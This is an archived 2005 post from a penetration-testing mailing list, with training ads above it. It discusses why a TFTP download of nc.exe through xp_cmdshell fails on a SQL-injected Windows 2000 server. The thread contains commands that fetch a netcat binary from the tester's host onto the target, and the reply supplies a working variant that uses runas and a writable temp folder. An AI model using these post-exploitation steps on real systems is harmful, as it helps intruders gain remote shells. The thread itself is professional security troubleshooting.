Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Re: TFTP and XP_CMDSHELL - Weird |
|---|---|
| Date: | Thu, 23 Jun 2005 13:38:06 +0000 |
It doesn't.From: Jose Selvi <jselvi@s2grupo.com> To: Andres Molinetti <andymolinetti@hotmail.com> CC: pen-test@securityfocus.com Subject: Re: TFTP and XP_CMDSHELL - Weird Date: Thu, 23 Jun 2005 09:16:41 +0200
Maybe sqlsvc user can't write in c:\ folder. Can He?.
The first call to tftp you are using Administrator user, who of course can write in c:\ .
Try "runas /user:sqlsvc tftp -i myHost GET nc.exe c:\winnt\temp\nc.exe". It must work.
If it is any useful I recieve the following error on the Target machine: "tftp: No se puede escribir en el archivo local 'c:\xx.exe'" (tftp: Not able to write in local file 'c:\xx.exe')
I think its beyond xp_cmdshell now..
Thanks, Andy
Andres Molinetti escribió:Hi, I am testing a Web App vulnerable to SQL Injection. It is hosted in a Windows 2000 SP4 and SQL 2000 with no patches.
While trying to use the xp_cmdshell to upload nc.exe from my tftpd server to the Webserver, I experienced some problems.
I was able to execute xp_cmdshell 'echo a > c:\a.txt' . File is created.
As administrator (using a windows cmd.exe shell) I ran "tftp -i myHost GET nc.exe c:\nc.exe". File is downloaded.
When I tried it through the wep app it failed. I tried directly through SQL Query Analizer and it also failed.
SQL is running as a low priviledged account (sqlsvc)...
Then I ran (as Administrator) "runas /user:sqlsvc tftp -i myHost GET nc.exe c:\nc.exe" and IT FAILED.!!
I can easily deduce that the problem is the TFTP client (tftp.exe)...
Any Ideas?
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Antwort: Sniffing Encrypted Traffic (w/ keys), c . ehlen |
|---|---|
| Next by Date: | Re: TFTP and XP_CMDSHELL - Weird, Andres Molinetti |
| Previous by Thread: | Re: TFTP and XP_CMDSHELL - Weird, Jose Selvi |
| Next by Thread: | Re: TFTP and XP_CMDSHELL - Weird, Frederic Charpentier |
| Indexes: | [Date] [Thread] [Top] [All Lists] |